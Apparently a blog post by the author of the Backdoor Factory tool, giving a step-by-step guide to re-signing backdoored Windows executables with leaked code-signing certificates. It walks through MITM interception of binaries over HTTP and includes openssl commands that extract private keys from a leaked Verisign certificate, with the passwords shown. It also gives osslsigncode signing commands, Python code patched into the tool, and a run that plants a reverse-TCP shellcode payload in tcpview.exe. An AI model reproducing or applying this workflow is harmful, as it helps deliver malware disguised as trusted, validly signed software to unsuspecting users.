Add PE Code Signing to Backdoor Factory (BDF)

Let's say you want to add PE codesiging to your instance of BDF after you patch PE files.  It's really easy. But to be honest, it's something I will not officially support in BDF for various reasons at the moment. One of them - I don't want to ship signing certs with BDF.  Perhaps I'll release a pro version where I implement everything or I'll teach a class and include stuff like this. Or I'll just tell you below.

Why would you want code signing in BDF?

Internet browsers, like IE/edge, give a pass if the binary is signed (A/V is a another story).  So if a signed binary is delivered via http, MITM'ed, unsigned, patched, the re-signed with a valid cert - a browser like IE should be ok with it. Since BDF is part of BDFProxy, then even better right?

Cool, ready to add code signing to BDF?

First things first, you need some signing certs.

The kind folks at Duo Security did some great research, read it here.

Grab the certs here.

Now BDF runs great on *nix/OSX, so we need something that does PE code signing on linux.

Grab ossligncode as so:

$ git clone git:// osslsigncode

To build:

$ ./
$ ./configure
$ make
$ sudo make install

Next we need the signing certs and we need to put them in the BDF directory.

Navigate to your BDF home directory.

the-backdoor-factory git:(master) $
$ curl -O
$ mkdir certs
$ unzip -d certs

$ tree certs
├── Verisign.pass
├── Verisign.pfx
├── __MACOSX
├── eDellRoot.cer
└── eDellRootLocalhost.cer

Let's use the verisign cert.

We'll need to convert the pfx format to cer/pem as that is what osslsigncode prefers.

$ openssl pkcs12 -in certs/Verisign.pfx -out certs/Verisign.cer -nodes
Enter Import Password: t-span


Now we need to make a private key.

$ openssl pkcs12 -in certs/Verisign.pfx -nocerts -out certs/VerisignPrivateKey.pem      
Enter Import Password: t-span
MAC verified OK
Enter PEM pass phrase: moomoo
Verifying - Enter PEM pass phrase: moomoo

Let's test everything out:

$ curl -O  # yay http

$ osslsigncode extract-signature -in tcpview.exe -out sig.txt

$ hexdump -C sig.txt

And you should see something like this:
Clearly from Microsoft!

Test run:

$ osslsigncode -certs certs/Verisign.cer -key certs/VerisignPrivateKey.pem -n "Securitay" -in tcpview.exe -out tcpview_signed.exe -pass moomoo

$ osslsigncode extract-signature -in tcpview_signed.exe -out sig.txt

$ hexdump -C sig1.txt

And you should see something like this:
Clearly not from Microsoft!

And if you upload to VirusTotal you'll see the signature is fully signed in the 'Signers' section and not by MS:

Your certs directory should now look as so:
$ tree certs
├── Verisign.cer
├── Verisign.pass
├── Verisign.pfx
├── VerisignPrivateKey.pem
├── __MACOSX
├── eDellRoot.cer
└── eDellRootLocalhost.cer

Time to modify BDF source code!!

Open in your favorite editor.

Navigate to the bottom of the "def patch_pe(self):" function.

Near the bottom of that function we will modify...

...with the following code...

if self.ZERO_CERT is True:
            # cert was removed earlier 
            p = subprocess.Popen(['osslsigncode', '-certs', 'certs/Verisign.cer', '-key', \
                                  'certs/VerisignPrivateKey.pem', '-n', 'Security','-in', \
                                   self.flItms["backdoorfile"], '-out', self.flItms["backdoorfile"], '-pass', 'moomoo'])


... so it looks like this afterwards:

After this mod to BDF you should see the following after running a similar command:

./ -f tcpview.exe -s iat_reverse_tcp_inline -H -P 8080 -m automatic
__________                __       .___                   
\______   \_____    ____ |  | __ __| _/____   ___________ 
 |    |  _/\__  \ _/ ___\|  |/ // __ |/  _ \ /  _ \_  __ \ 
 |    |   \ / __ \\  \___|    </ /_/ (  <_> |  <_> )  | \/
 |______  /(____  /\___  >__|_ \____ |\____/ \____/|__|   
        \/      \/     \/     \/    \/                    
___________              __                               
\_   _____/____    _____/  |_  ___________ ___.__.        
 |    __) \__  \ _/ ___\   __\/  _ \_  __ <   |  |        
 |     \   / __ \\  \___|  | (  <_> )  | \/\___  |        
 \___  /  (____  /\___  >__|  \____/|__|   / ____|        
     \/        \/     \/                   \/             

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmail<d o-t>com
         Twitter:   @midnite_runr
         IRC: #BDFactory
         Version:   3.2.4
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Gathering file info
[*] Overwriting certificate table pointer
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 87
[*] All caves lengths:  145, 162, 87
[*] Attempting PE File Automatic Patching
[!] Selected: 50: Section Name: .data; Cave begin: 0x44cc5 End: 0x44d6b; Cave Size: 166; Payload Size: 162
[!] Selected: 32: Section Name: .text; Cave begin: 0x3a304 End: 0x3a399; Cave Size: 149; Payload Size: 145
[!] Selected: 45: Section Name: .rdata; Cave begin: 0x3fba0 End: 0x3fc46; Cave Size: 166; Payload Size: 87
[*] Changing flags for section: .rdata
[*] Changing flags for section: .text
[*] Changing flags for section: .data
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
File tcpview.exe is in the 'backdoored' directory

Note the 'Succeeded'.

As expected, here's the result with a valid signature from Atheros:

This can be done with any PE code signing cert that is released leaked to the public.  Get creative! If you think this should be part of BDF, let me know on twitter or github.



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